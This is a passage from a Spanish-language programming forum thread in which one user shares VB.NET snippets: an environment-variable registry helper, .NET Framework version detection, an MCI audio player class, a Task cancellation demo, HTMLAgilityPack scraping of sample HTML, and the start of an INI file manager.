  140.                My.Computer.Registry.LocalMachine.
  141.                    OpenSubKey(SystemEnvironmentKey, True).
  142.                    SetValue(VariableName, Value)
  143.  
  144.        End Select
  145.  
  146.        UpdateRegChange()
  147.  
  148.    End Sub
  149.  
  150.    ''' <summary>
  151.    ''' Sets an environment variable.
  152.    ''' </summary>
  153.    ''' <param name="VariableName">Indicates the variable name.</param>
  154.    ''' <param name="EnvironmentKind">Indicates the kind of environment from where the variable should be removed.</param>
  155.    Public Shared Sub Remove(ByVal VariableName As String,
  156.                      ByVal EnvironmentKind As EnvironmentKind)
  157.  
  158.        Select Case EnvironmentKind
  159.  
  160.            Case EnvironmentKind.CurrentUser
  161.                My.Computer.Registry.CurrentUser.
  162.                    OpenSubKey(UserEnvironmentKey, True).
  163.                    DeleteValue(VariableName, True)
  164.  
  165.            Case EnvironmentKind.System
  166.                My.Computer.Registry.LocalMachine.
  167.                    OpenSubKey(SystemEnvironmentKey, True).
  168.                    DeleteValue(VariableName, True)
  169.  
  170.        End Select
  171.  
  172.        UpdateRegChange()
  173.  
  174.    End Sub
  175.  
  176. #End Region
  177.  
  178. #Region " Private methods "
  179.  
  180.    Private Shared Sub UpdateRegChange()
  181.  
  182.        ' Update Registry Change
  183.        SendMessageTimeout(HWND_BROADCAST,
  184.                           WM_SETTINGCHANGE,
  185.                           0,
  186.                           "Environment",
  187.                           SendMessageTimeoutFlags.SMTO_ABORTIFHUNG,
  188.                           1,
  189.                           IntPtr.Zero)
  190.  
  191.    End Sub
  192.  
  193. #End Region
  194.  
  195. End Class
  196.  
  197. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 26 Noviembre 2013, 12:43 pm
Un ejemplo de uso de la librería FrameworkDetection http://www.codeproject.com/Articles/17501/Using-managed-code-to-detect-what-NET-Framework-ve?msg=4706288#xx4706288xx

(http://img855.imageshack.us/img855/7407/gi6x.png)

Código
  1. Public Class Form1
  2.  
  3.    Private Sub Test()
  4.  
  5.        Dim sb As New System.Text.StringBuilder
  6.  
  7.        For Each FW In [Enum].GetValues(GetType(Campari.Software.FrameworkVersion))
  8.  
  9.            sb.AppendLine(String.Format("FW {0} Is installed?: {1}",
  10.                                        FW.ToString.Substring(2),
  11.                                        Campari.Software.FrameworkVersionDetection.IsInstalled(FW)))
  12.  
  13.            sb.AppendLine(String.Format("FW {0} version: {1}",
  14.                                        FW.ToString.Substring(2),
  15.                                        Campari.Software.FrameworkVersionDetection.GetExactVersion(FW).ToString))
  16.  
  17.            sb.Append(Environment.NewLine)
  18.  
  19.        Next
  20.  
  21.        MsgBox(sb.ToString)
  22.  
  23.    End Sub
  24.  
  25. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Diciembre 2013, 19:47 pm
Actualizada la colección de snippets con un total de 544 Snippets...
...Casi nada!!

http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)

En la primera página de este hilo tienen un índice de todos los snippets que contiene el pack.

PD: Algunos de los antiguos snippets (no todos) han sido mejorados y/o simplificados.

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Diciembre 2013, 00:26 am
Un ayudante para la interface MCI, reproduce archivos wav,mp3,midi y obtiene información esencial del archivo.

La class es algo básica, solo le añadí lo esencial porque me dió bastantes problemas la verdad.

Código
  1. ' [ MCI Player ]
  2. '
  3. ' // By Elektro H@cker
  4.  
  5. #Region " Usage Examples "
  6.  
  7. ' Dim AudioFile As New MCIPlayer("C:\Audio.wav")
  8. ' AudioFile.Play(AudioPlayMode.BackgroundLoop)
  9.  
  10. ' Dim sb As New System.Text.StringBuilder
  11. ' sb.AppendLine("Filename: " & AudioFile.Filename)
  12. ' sb.AppendLine("State...: " & AudioFile.State.ToString)
  13. ' sb.AppendLine("Mode....: " & AudioFile.PlaybackMode.ToString)
  14. ' sb.AppendLine("Channels: " & CStr(AudioFile.Channels))
  15. ' sb.AppendLine("Duration: " & TimeSpan.FromMilliseconds(AudioFile.Duration).ToString("hh\:mm\:ss"))
  16.  
  17. ' MessageBox.Show(sb.ToString, "MCI Player", MessageBoxButtons.OK, MessageBoxIcon.Information)
  18.  
  19. ' AudioFile.Stop()
  20.  
  21. #End Region
  22.  
  23. #Region " MCI Player "
  24.  
  25. ''' <summary>
  26. ''' Play Wave, MP3 or MIDI files
  27. ''' </summary>
  28. Public Class MCIPlayer
  29.    Inherits NativeWindow
  30.    Implements IDisposable
  31.  
  32. #Region " API "
  33.  
  34.    ''' <summary>
  35.    ''' Sends a command string to an MCI device.
  36.    ''' The device that the command is sent to is specified in the command string.
  37.    ''' </summary>
  38.    ''' <param name="command">
  39.    ''' Pointer to a null-terminated string that specifies an MCI command string.
  40.    ''' For a list, see Multimedia Command Strings.
  41.    ''' </param>
  42.    ''' <param name="buffer">
  43.    ''' Buffer that receives return information.
  44.    ''' If no return information is needed, this parameter can be NULL.
  45.    ''' </param>
  46.    ''' <param name="bufferSize">
  47.    ''' Size, in characters, of the return buffer specified.
  48.    ''' </param>
  49.    ''' <param name="hwndCallback">
  50.    ''' Handle to a callback window if the "notify" flag was specified in the command string.
  51.    ''' </param>
  52.    <System.Runtime.InteropServices.
  53.    DllImport("winmm.dll", SetLastError:=True)>
  54.    Private Shared Function mciSendString(
  55.            ByVal command As String,
  56.            ByVal buffer As System.Text.StringBuilder,
  57.            ByVal bufferSize As Integer,
  58.            ByVal hwndCallback As IntPtr
  59.    ) As Integer
  60.    End Function
  61.  
  62. #End Region
  63.  
  64. #Region " Variables "
  65.  
  66.    ''' <summary>
  67.    ''' The form to manage Windows Messages.
  68.    ''' </summary>
  69.    Private WithEvents formulary As Form = Nothing
  70.  
  71.    ''' <summary>
  72.    ''' Indicates the audio play command of mciSendString.
  73.    ''' </summary>
  74.    Private PlayCommand As String = String.Empty
  75.  
  76.    ''' <summary>
  77.    ''' Buffer that receives return information.
  78.    ''' </summary>
  79.    Private ReturnInfo As New System.Text.StringBuilder() With {.Capacity = 255}
  80.  
  81.    ''' <summary>
  82.    ''' The current filename of the file that is to be played.
  83.    ''' </summary>
  84.    Private _filename As String = String.Empty
  85.  
  86.    ''' <summary>
  87.    ''' Indicates the current playback mode.
  88.    ''' </summary>
  89.    Private _PlaybackMode As AudioPlayMode
  90.  
  91.    ''' <summary>
  92.    ''' Flag to cancel the BackgroundLoop PlaybackMode.
  93.    ''' </summary>
  94.    Private CancelLoop As Boolean = False
  95.  
  96. #End Region
  97.  
  98. #Region " Properties "
  99.  
  100.    ''' <summary>
  101.    ''' The current filename of the file that is to be played.
  102.    ''' </summary>
  103.    Public Property Filename() As String
  104.  
  105.        Get
  106.            Return _filename
  107.        End Get
  108.  
  109.        Set(ByVal value As String)
  110.  
  111.            If Not IO.File.Exists(value) Then
  112.                Throw New IO.FileNotFoundException
  113.                Exit Property
  114.            End If
  115.  
  116.            _filename = value
  117.  
  118.        End Set
  119.  
  120.    End Property
  121.  
  122.    ''' <summary>
  123.    ''' Gets che current Playback State.
  124.    ''' </summary>
  125.    Public ReadOnly Property State As PlaybackState
  126.        Get
  127.            mciSendString("status file mode", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
  128.            Return [Enum].Parse(GetType(PlaybackState), ReturnInfo.ToString, True)
  129.        End Get
  130.    End Property
  131.  
  132.    ''' <summary>
  133.    ''' Gets or sets the playback mode of the current file.
  134.    ''' </summary>
  135.    Public Property PlaybackMode As AudioPlayMode
  136.        Get
  137.            Return _PlaybackMode
  138.        End Get
  139.        Set(value As AudioPlayMode)
  140.            _PlaybackMode = value
  141.        End Set
  142.    End Property
  143.  
  144.    ''' <summary>
  145.    ''' Gets the channels of the file.
  146.    ''' </summary>
  147.    ReadOnly Property Channels() As Integer
  148.        Get
  149.            mciSendString("status file channels", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
  150.            Return If(IsNumeric(ReturnInfo.ToString),
  151.                      CInt(ReturnInfo.ToString),
  152.                      -1)
  153.        End Get
  154.    End Property
  155.  
  156.    ''' <summary>
  157.    ''' Gets the file duration in Milleseconds.
  158.    ''' </summary>
  159.    ReadOnly Property Duration() As Integer
  160.        Get
  161.            mciSendString("set file time format milliseconds", Nothing, 0, IntPtr.Zero)
  162.            mciSendString("status file length", ReturnInfo, ReturnInfo.Capacity, IntPtr.Zero)
  163.            Return If(String.IsNullOrEmpty(ReturnInfo.ToString), 0, CInt(ReturnInfo.ToString))
  164.        End Get
  165.    End Property
  166.  
  167. #End Region
  168.  
  169. #Region " Enumerations "
  170.  
  171.    ''' <summary>
  172.    ''' Audio File playback state.
  173.    ''' </summary>
  174.    Public Enum PlaybackState As Short
  175.  
  176.        ''' <summary>
  177.        ''' File is playing.
  178.        ''' </summary>
  179.        Playing = 0
  180.  
  181.        ''' <summary>
  182.        ''' File is paused.
  183.        ''' </summary>
  184.        Paused = 1
  185.  
  186.        ''' <summary>
  187.        ''' File is stopped.
  188.        ''' </summary>
  189.        Stopped = 2
  190.  
  191.    End Enum
  192.  
  193.    ''' <summary>
  194.    ''' Windows Message Identifiers.
  195.    ''' </summary>
  196.    Public Enum KnownMessages As Integer
  197.  
  198.        ''' <summary>
  199.        ''' Notifies an application that an MCI device has completed an operation.
  200.        ''' MCI devices send this message only when the MCI_NOTIFY flag is used.
  201.        ''' </summary>
  202.        MM_MCINOTIFY = 953
  203.  
  204.    End Enum
  205.  
  206. #End Region
  207.  
  208. #Region " Constructor "
  209.  
  210.    ''' <summary>
  211.    ''' Play Wave, MP3 or MIDI files.
  212.    ''' </summary>
  213.    ''' <param name="AudioFile">Indicates the filename of the media to play.</param>
  214.    Public Sub New(ByVal AudioFile As String)
  215.  
  216.        ' Set the Audio file.
  217.        Me.Filename = AudioFile
  218.  
  219.        ' Set the Formulary.
  220.        Me.formulary = Form.ActiveForm
  221.  
  222.        ' Assign the form handle.
  223.        SetFormHandle()
  224.  
  225.    End Sub
  226.  
  227.    ''' <summary>
  228.    ''' Play Wave, MP3 or MIDI files.
  229.    ''' </summary>
  230.    ''' <param name="Formulary">Indicates the Form to assign the Handle.</param>
  231.    ''' <param name="AudioFile">Indicates the filename of the media to play.</param>
  232.    ''' <remarks></remarks>
  233.    Public Sub New(ByVal Formulary As Form, ByVal AudioFile As String)
  234.  
  235.        ' Set the Audio file.
  236.        Me.Filename = AudioFile
  237.  
  238.        ' Set the Formulary.
  239.        Me.formulary = Formulary
  240.  
  241.        ' Assign the form handle.
  242.        SetFormHandle()
  243.  
  244.    End Sub
  245.  
  246. #End Region
  247.  
  248. #Region " Public Methods "
  249.  
  250.    ''' <summary>
  251.    ''' Plays the file that is specified as the filename.
  252.    ''' </summary>
  253.    ''' <remarks></remarks>
  254.    Public Sub Play(ByVal PlayMode As AudioPlayMode)
  255.  
  256.        DisposedCheck()
  257.  
  258.        Select Case PlayMode
  259.  
  260.            Case AudioPlayMode.Background
  261.                PlayCommand = "play file from 0"
  262.                Me.PlaybackMode = AudioPlayMode.Background
  263.  
  264.            Case AudioPlayMode.BackgroundLoop
  265.                PlayCommand = "play file from 0 notify"
  266.                Me.PlaybackMode = AudioPlayMode.BackgroundLoop
  267.  
  268.            Case AudioPlayMode.WaitToComplete
  269.                PlayCommand = "play file from 0 wait"
  270.                Me.PlaybackMode = AudioPlayMode.WaitToComplete
  271.  
  272.        End Select
  273.  
  274.        ' Open command
  275.        Select Case Me.Filename.Split(".").LastOrDefault
  276.  
  277.            Case "mp3"
  278.                mciSendString(String.Format("open ""{0}"" type mpegvideo alias file", Me.Filename),
  279.                              Nothing,
  280.                              0,
  281.                              IntPtr.Zero)
  282.  
  283.            Case "wav"
  284.                mciSendString(String.Format("open ""{0}"" type waveaudio alias file", Me.Filename),
  285.                              Nothing,
  286.                              0,
  287.                              IntPtr.Zero)
  288.  
  289.            Case "mid", "midi"
  290.                mciSendString("stop midi", Nothing, 0, 0)
  291.                mciSendString("close midi", Nothing, 0, 0)
  292.                mciSendString(String.Format("open sequencer! ""{0}"" alias file", Me.Filename),
  293.                              Nothing,
  294.                              0, IntPtr.Zero)
  295.  
  296.            Case Else
  297.                Throw New Exception("File type not supported.")
  298.                [Close]()
  299.  
  300.        End Select
  301.  
  302.        ' Play command
  303.        mciSendString(PlayCommand, Nothing, 0, If(PlaybackMode = AudioPlayMode.BackgroundLoop,
  304.                                                  Me.Handle,
  305.                                                  IntPtr.Zero))
  306.  
  307.    End Sub
  308.  
  309.    ''' <summary>
  310.    ''' Pause the current playback.
  311.    ''' </summary>
  312.    ''' <remarks></remarks>
  313.    Public Sub Pause()
  314.        DisposedCheck()
  315.        CancelLoop = True
  316.        mciSendString("pause file", Nothing, 0, IntPtr.Zero)
  317.    End Sub
  318.  
  319.    ''' <summary>
  320.    ''' Resume the current playback if it is currently paused.
  321.    ''' </summary>
  322.    Public Sub [Resume]()
  323.        DisposedCheck()
  324.        If Me.State = PlaybackState.Paused Then
  325.            CancelLoop = False
  326.            mciSendString("resume file", Nothing, 0, IntPtr.Zero)
  327.        End If
  328.    End Sub
  329.  
  330.    ''' <summary>
  331.    ''' Stop the current playback.
  332.    ''' </summary>
  333.    Public Sub [Stop]()
  334.        DisposedCheck()
  335.        CancelLoop = True
  336.        mciSendString("stop file", Nothing, 0, IntPtr.Zero)
  337.    End Sub
  338.  
  339.    ''' <summary>
  340.    ''' Close the current file.
  341.    ''' </summary>
  342.    Public Overloads Sub [Close]()
  343.        DisposedCheck()
  344.        CancelLoop = True
  345.        mciSendString("close file", Nothing, 0, IntPtr.Zero)
  346.    End Sub
  347.  
  348. #End Region
  349.  
  350. #Region " Event Handlers "
  351.  
  352.    ''' <summary>
  353.    ''' Assign the handle of the target form to this NativeWindow,
  354.    ''' necessary to override WndProc.
  355.    ''' </summary>
  356.    Private Sub SetFormHandle() _
  357.    Handles formulary.HandleCreated, formulary.Load, formulary.Shown
  358.  
  359.        Try
  360.            If Not Me.Handle.Equals(Me.formulary.Handle) Then
  361.                Me.AssignHandle(Me.formulary.Handle)
  362.            End If
  363.        Catch ' ex As InvalidOperationException
  364.        End Try
  365.  
  366.    End Sub
  367.  
  368.    ''' <summary>
  369.    ''' Releases the Handle.
  370.    ''' </summary>
  371.    Private Sub OnHandleDestroyed() _
  372.    Handles formulary.HandleDestroyed
  373.  
  374.        Me.ReleaseHandle()
  375.  
  376.    End Sub
  377.  
  378. #End Region
  379.  
  380. #Region " Windows Messages "
  381.  
  382.    ''' <summary>
  383.    ''' Processes Windows messages for this Window.
  384.    ''' </summary>
  385.    ''' <param name="m">
  386.    ''' Contains the Windows Message parameters.
  387.    ''' </param>
  388.    Protected Overrides Sub WndProc(ByRef m As Message)
  389.  
  390.        MyBase.WndProc(m)
  391.  
  392.        If m.Msg = KnownMessages.MM_MCINOTIFY Then
  393.  
  394.            If Not CancelLoop Then
  395.                Play(AudioPlayMode.BackgroundLoop)
  396.            Else
  397.                CancelLoop = False
  398.            End If
  399.  
  400.        End If
  401.  
  402.    End Sub
  403.  
  404. #End Region
  405.  
  406. #Region " IDisposable "
  407.  
  408.    ''' <summary>
  409.    ''' To detect redundant calls when disposing.
  410.    ''' </summary>
  411.    Private IsDisposed As Boolean = False
  412.  
  413.    ''' <summary>
  414.    ''' Prevents calls to methods after disposing.
  415.    ''' </summary>
  416.    Private Sub DisposedCheck()
  417.        If Me.IsDisposed Then
  418.            Throw New ObjectDisposedException(Me.GetType().FullName)
  419.        End If
  420.    End Sub
  421.  
  422.    ''' <summary>
  423.    ''' Disposes the objects generated by this instance.
  424.    ''' </summary>
  425.    Public Sub Dispose() Implements IDisposable.Dispose
  426.        Dispose(True)
  427.        GC.SuppressFinalize(Me)
  428.    End Sub
  429.  
  430.    ' IDisposable
  431.    Protected Overridable Sub Dispose(IsDisposing As Boolean)
  432.  
  433.        If Not Me.IsDisposed Then
  434.  
  435.            If IsDisposing Then
  436.                [Close]()
  437.                Me.formulary = Nothing
  438.                Me.ReleaseHandle()
  439.                Me.DestroyHandle()
  440.            End If
  441.  
  442.        End If
  443.  
  444.        Me.IsDisposed = True
  445.  
  446.    End Sub
  447.  
  448. #End Region
  449.  
  450. End Class
  451.  
  452. #End Region





Un pequeño ejemplo que hice para recordar el uso de una Task:

Código
  1. #Region " TASK Example "
  2.  
  3. Public Class Form1
  4.  
  5.    ' NORMAL TASK USAGE:
  6.    ' ------------------
  7.    Private Task1 As Threading.Tasks.Task
  8.    Private Task1CTS As New Threading.CancellationTokenSource
  9.    Private Task1CT As Threading.CancellationToken = Task1CTS.Token
  10.  
  11.    Private Sub MyTask1(ByVal CancellationToken As Threading.CancellationToken)
  12.  
  13.        For x As Integer = 0 To 9999
  14.  
  15.            If Not CancellationToken.IsCancellationRequested Then
  16.                Debug.Print("Task1: " & x)
  17.            Else
  18.                MsgBox(String.Format("Task1 Canceled at ""{0}""", x))
  19.                Exit Sub
  20.            End If
  21.  
  22.        Next x
  23.  
  24.    End Sub
  25.  
  26.    ' ANONYMOUS TASK METHOD:
  27.    ' ---------------------
  28.    Private Task2 As Threading.Tasks.Task
  29.    Private Task2CTS As New Threading.CancellationTokenSource
  30.    Private Task2CT As Threading.CancellationToken = Task2CTS.Token
  31.  
  32.    Private Delegate Function Task2Delegate(ByVal CancellationToken As Threading.CancellationToken)
  33.  
  34.    Private MyTask2 As Task2Delegate =
  35.      Function(CancellationToken As Threading.CancellationToken) As Boolean
  36.  
  37.          For x As Integer = 0 To 9999
  38.  
  39.              If Not CancellationToken.IsCancellationRequested Then
  40.                  Debug.Print("Task2: " & x)
  41.              Else
  42.                  MsgBox(String.Format("Task2 Canceled at ""{0}""", x))
  43.                  Return False
  44.              End If
  45.  
  46.          Next x
  47.  
  48.          Return True
  49.  
  50.      End Function
  51.  
  52.    Private Sub TaskTest() Handles MyBase.Shown
  53.  
  54.        ' Run an asynchronous Task.
  55.        Task1 = Threading.Tasks.Task.Factory.StartNew(Sub() MyTask1(Task1CT), Task1CT)
  56.  
  57.        ' Wait 2 seconds (Just to demonstrate this example)
  58.        Threading.Thread.Sleep(2 * 1000)
  59.  
  60.        ' Cancel the Task.
  61.        Task1CTS.Cancel()
  62.  
  63.        ' Wait for the Task to finish the being cancelled.
  64.        Task1.Wait()
  65.  
  66.        ' Show the task status
  67.        MsgBox(Task1.Status.ToString) ' Result: RanToCompletion
  68.  
  69.        ' ReStart the Task1.
  70.        Task1 = Threading.Tasks.Task.Factory.StartNew(Sub() MyTask1(Task1CT), Task1CT)
  71.  
  72.        ' Start the Task2
  73.        Task2 = Threading.Tasks.Task.Factory.StartNew(Of Boolean)(Function() MyTask2(Task2CT), Task2CT)
  74.  
  75.        ' Wait for both Taks to finish their execution.
  76.        Threading.Tasks.Task.WaitAll()
  77.  
  78.    End Sub
  79.  
  80. End Class
  81.  
  82. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Diciembre 2013, 07:22 am
Un buen ejemplo de como parsear un documento HTML utilizando la librería HTMLAgilityPack.

Código
  1. Public Class Form1
  2.  
  3.    Private ReadOnly html As String =
  4.        <a><![CDATA[
  5. <!DOCTYPE html>
  6. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  7. <body>
  8.  
  9. <div class="infolinks"><input type="hidden" name="IL_IN_TAG" value="1"/></div><div id="main">
  10.  
  11. <div class="music">
  12.  
  13. <h2 class="boxtitle">New releases \ <small>
  14. <a href="/newalbums" title="New releases mp3 downloads" rel="bookmark">see all</a></small>
  15. </h2>
  16.  
  17. <div class="item">
  18.  
  19.     <div class="thumb">
  20. <a href="http://www.mp3crank.com/curt-smith/deceptively-heavy-121861" rel="bookmark" lang="en" title="Curt Smith - Deceptively Heavy album downloads"><img width="100" height="100" alt="Mp3 downloads Curt Smith - Deceptively Heavy" title="Free mp3 downloads Curt Smith - Deceptively Heavy" src="http://www.mp3crank.com/cover-album/Curt-Smith-Deceptively-Heavy-400x400.jpg"/></a>
  21.     </div>
  22.  
  23. <div class="release">
  24. <h3>Curt Smith</h3>
  25. <h4>
  26. <a href="http://www.mp3crank.com/curt-smith/deceptively-heavy-121861" title="Mp3 downloads Curt Smith - Deceptively Heavy">Deceptively Heavy</a>
  27. </h4>
  28. <script src="/ads/button.js"></script>
  29. </div>
  30.  
  31. <div class="release-year">
  32. <p>Year</p>
  33. <span>2013</span>
  34. </div>
  35.  
  36. <div class="genre">
  37. <p>Genre</p>
  38. <a href="http://www.mp3crank.com/genre/indie" rel="tag">Indie</a><a href="http://www.mp3crank.com/genre/pop" rel="tag">Pop</a>
  39. </div>
  40.  
  41. </div>
  42.  
  43. <div class="item">
  44.  
  45.     <div class="thumb">
  46. <a href="http://www.mp3crank.com/wolf-eyes/lower-demos-121866" rel="bookmark" lang="en" title="Wolf Eyes - Lower Demos album downloads"><img width="100" height="100" alt="Mp3 downloads Wolf Eyes - Lower Demos" title="Free mp3 downloads Wolf Eyes - Lower Demos" src="http://www.mp3crank.com/cover-album/Wolf-Eyes-–-Lower-Demos.jpg" /></a>
  47.     </div>
  48.  
  49. <div class="release">
  50. <h3>Wolf Eyes</h3>
  51. <h4>
  52. <a href="http://www.mp3crank.com/wolf-eyes/lower-demos-121866" title="Mp3 downloads Wolf Eyes - Lower Demos">Lower Demos</a>
  53. </h4>
  54. <script src="/ads/button.js"></script>
  55. </div>
  56.  
  57. <div class="release-year">
  58. <p>Year</p>
  59. <span>2013</span>
  60. </div>
  61.  
  62. <div class="genre">
  63. <p>Genre</p>
  64. <a href="http://www.mp3crank.com/genre/rock" rel="tag">Rock</a>
  65. </div>
  66.  
  67. </div>
  68.  
  69. </div>
  70.  
  71. </div>
  72.  
  73. </body>
  74. </html>
  75. ]]></a>.Value
  76.  
  77.    Private sb As New System.Text.StringBuilder
  78.  
  79.    Private htmldoc As HtmlAgilityPack.HtmlDocument = New HtmlAgilityPack.HtmlDocument
  80.    Private htmlnodes As HtmlAgilityPack.HtmlNodeCollection = Nothing
  81.  
  82.    Private Title As String = String.Empty
  83.    Private Cover As String = String.Empty
  84.    Private Year As String = String.Empty
  85.    Private Genres As String() = {String.Empty}
  86.    Private URL As String = String.Empty
  87.  
  88.    Private Sub Test() Handles MyBase.Shown
  89.  
  90.        ' Load the html document.
  91.        htmldoc.LoadHtml(html)
  92.  
  93.        ' Select the (10 items) nodes.
  94.        ' All "SelectSingleNode" below will use this DIV element as a starting point.
  95.        htmlnodes = htmldoc.DocumentNode.SelectNodes("//div[@class='item']")
  96.  
  97.        ' Loop trough the nodes.
  98.        For Each node As HtmlAgilityPack.HtmlNode In htmlnodes
  99.  
  100.            Title = node.SelectSingleNode(".//div[@class='release']/h4/a[@title]").GetAttributeValue("title", "Unknown Title")
  101.            Cover = node.SelectSingleNode(".//div[@class='thumb']/a/img[@src]").GetAttributeValue("src", String.Empty)
  102.            Year = node.SelectSingleNode(".//div[@class='release-year']/span").InnerText
  103.            Genres = (From n In node.SelectNodes(".//div[@class='genre']/a") Select n.InnerText).ToArray()
  104.            URL = node.SelectSingleNode(".//div[@class='release']/h4/a[@href]").GetAttributeValue("href", "Unknown URL")
  105.  
  106.            ' Display the information:
  107.            sb.Clear()
  108.            sb.AppendLine(String.Format("Title : {0}", Title))
  109.            sb.AppendLine(String.Format("Cover : {0}", Cover))
  110.            sb.AppendLine(String.Format("Year  : {0}", Year))
  111.            sb.AppendLine(String.Format("Genres: {0}", String.Join(", ", Genres)))
  112.            sb.AppendLine(String.Format("URL   : {0}", URL))
  113.            MsgBox(sb.ToString)
  114.  
  115.        Next node
  116.  
  117.    End Sub
  118.  
  119. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Diciembre 2013, 17:55 pm
Una nueva versión de mi INI manager, empecé desde cero para simplificar todo el código y le añadí un parámetro al método "Get_Value" para devolver un valor por defecto (se debe especificar) si el valor no se encuentra.

Código
  1. ' [ INI File Manager ]
  2. '
  3. ' // By Elektro H@cker
  4.  
  5. #Region " Usage Examples "
  6.  
  7. '' Set the initialization file path.
  8. 'INIFileManager.FilePath = IO.Path.Combine(Application.StartupPath, "Config.ini")
  9.  
  10. '' Create the initialization file.
  11. 'INIFileManager.File.Create()
  12.  
  13. '' Check that the initialization file exist.
  14. 'MsgBox(INIFileManager.File.Exist)
  15.  
  16. '' Writes a new entire initialization file with the specified text content.
  17. 'INIFileManager.File.Write(New List(Of String) From {"[Section Name 1]"})
  18.  
  19. '' Set an existing value or append it at the enf of the initialization file.
  20. 'INIFileManager.Key.Set("KeyName1", "Value1")
  21.  
  22. '' Set an existing value on a specific section or append them at the enf of the initialization file.
  23. 'INIFileManager.Key.Set("KeyName2", "Value2", "[Section Name 2]")
  24.  
  25. '' Gets the value of the specified Key name,
  26. 'MsgBox(INIFileManager.Key.Get("KeyName1"))
  27.  
  28. '' Gets the value of the specified Key name on the specified Section.
  29. 'MsgBox(INIFileManager.Key.Get("KeyName2", , "[Section Name 2]"))
  30.  
  31. '' Gets the value of the specified Key name and returns a default value if the key name is not found.
  32. 'MsgBox(INIFileManager.Key.Get("KeyName0", "I'm a default value"))
  33.  
  34. '' Gets the value of the specified Key name, and assign it to a control property.
  35. 'CheckBox1.Checked = CType(INIFileManager.Key.Get("KeyName1"), Boolean)
  36.  
  37. '' Checks whether a Key exists.
  38. 'MsgBox(INIFileManager.Key.Exist("KeyName1"))
  39.  
  40. '' Checks whether a Key exists on a specific section.
  41. 'MsgBox(INIFileManager.Key.Exist("KeyName2", "[First Section]"))
  42.  
  43. '' Remove a key name.
  44. 'INIFileManager.Key.Remove("KeyName1")
  45.  
  46. '' Remove a key name on the specified Section.
  47. 'INIFileManager.Key.Remove("KeyName2", "[Section Name 2]")
  48.  
  49. '' Add a new section.
  50. 'INIFileManager.Section.Add("[Section Name 3]")
  51.  
  52. '' Get the contents of a specific section.
  53. 'MsgBox(String.Join(Environment.NewLine, INIFileManager.Section.Get("[Section Name 1]")))
  54.  
  55. '' Remove an existing section.
  56. 'INIFileManager.Section.Remove("[Section Name 2]")
  57.  
  58. '' Checks that the initialization file contains at least one section.
  59. 'MsgBox(INIFileManager.Section.Has())
  60.  
  61. '' Sort the initialization file (And remove empty lines).
  62. 'INIFileManager.File.Sort(True)
  63.  
  64. '' Gets the initialization file section names.
  65. 'MsgBox(String.Join(", ", INIFileManager.Section.GetNames()))
  66.  
  67. '' Gets the initialization file content.
  68. 'MsgBox(String.Join(Environment.NewLine, INIFileManager.File.Get()))
  69.  
  70. '' Delete the initialization file from disk.
  71. 'INIFileManager.File.Delete()
  72.  
  73. #End Region
  74.  
  75. #Region " INI File Manager "
  76.  
  77. Public Class INIFileManager
  78.  
  79. #Region " Members "
  80.  
  81. #Region " Properties "
  82.  
  83.    ''' <summary>
  84.    ''' Indicates the initialization file path.
  85.    ''' </summary>
  86.    Public Shared Property FilePath As String =
  87.        IO.Path.Combine(Application.StartupPath, Process.GetCurrentProcess().ProcessName & ".ini")
  88.  
  89. #End Region
  90.  
  91. #Region " Variables "
  92.  
  93.    ''' <summary>
  94.    ''' Stores the initialization file content.
  95.    ''' </summary>
  96.    Private Shared Content As New List(Of String)
  97.  
  98.    ''' <summary>
  99.    ''' Stores the INI section names.
  100.    ''' </summary>
  101.    Private Shared SectionNames As String() = {String.Empty}
  102.  
  103.    ''' <summary>
  104.    ''' Indicates the start element index of a section name.
  105.    ''' </summary>
  106.    Private Shared SectionStartIndex As Integer = -1
  107.  
  108.    ''' <summary>
  109.    ''' Indicates the end element index of a section name.
  110.    ''' </summary>
  111.    Private Shared SectionEndIndex As Integer = -1
  112.  
  113.    ''' <summary>
  114.    ''' Stores a single sorted section block with their keys and values.
  115.    ''' </summary>
  116.    Private Shared SortedSection As New List(Of String)
  117.  
  118.    ''' <summary>
  119.    ''' Stores all the sorted section blocks with their keys and values.
  120.    ''' </summary>
  121.    Private Shared SortedSections As New List(Of String)
  122.  
  123.    ''' <summary>
  124.    ''' Indicates the INI element index that contains the Key and value.
  125.    ''' </summary>
  126.    Private Shared KeyIndex As Integer = -1
  127.  
  128.    ''' <summary>
  129.    ''' Indicates the culture to compare the strings.
  130.    ''' </summary>
  131.    Private Shared ReadOnly CompareMode As StringComparison = StringComparison.InvariantCultureIgnoreCase
  132.  
  133. #End Region
  134.  
  135. #Region " Exceptions "
  136.  
  137.    ''' <summary>
  138.    ''' Exception is thrown when a section name parameter has invalid format.
  139.    ''' </summary>
  140.    Private Class SectionNameInvalidFormatException
  141.        Inherits Exception
  142.  
  143.        Public Sub New()
  144.            MyBase.New("Section name parameter has invalid format." &
  145.                       Environment.NewLine &
  146.                       "The rigth syntax is: [SectionName]")
  147.        End Sub
  148.  
  149.        Public Sub New(message As String)
  150.            MyBase.New(message)
  151.        End Sub
  152.  
  153.        Public Sub New(message As String, inner As Exception)
  154.            MyBase.New(message, inner)
  155.        End Sub
  156.  
  157.    End Class
  158.  
  159. #End Region
  160.  
  161. #End Region
  162.  
  163. #Region " Methods "
  164.  
  165.    <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  166.    Private Shadows Sub ReferenceEquals()
  167.    End Sub
  168.  
  169.    <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  170.    Private Shadows Sub Equals()
  171.    End Sub
  172.  
  173.    Public Class [File]
  174.  
  175.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  176.        Private Shadows Sub ReferenceEquals()
  177.        End Sub
  178.  
  179.        <System.ComponentModel.EditorBrowsable(System.ComponentModel.EditorBrowsableState.Never)>
  180.        Private Shadows Sub Equals()
  181.        End Sub
  182.  
  183.        ''' <summary>
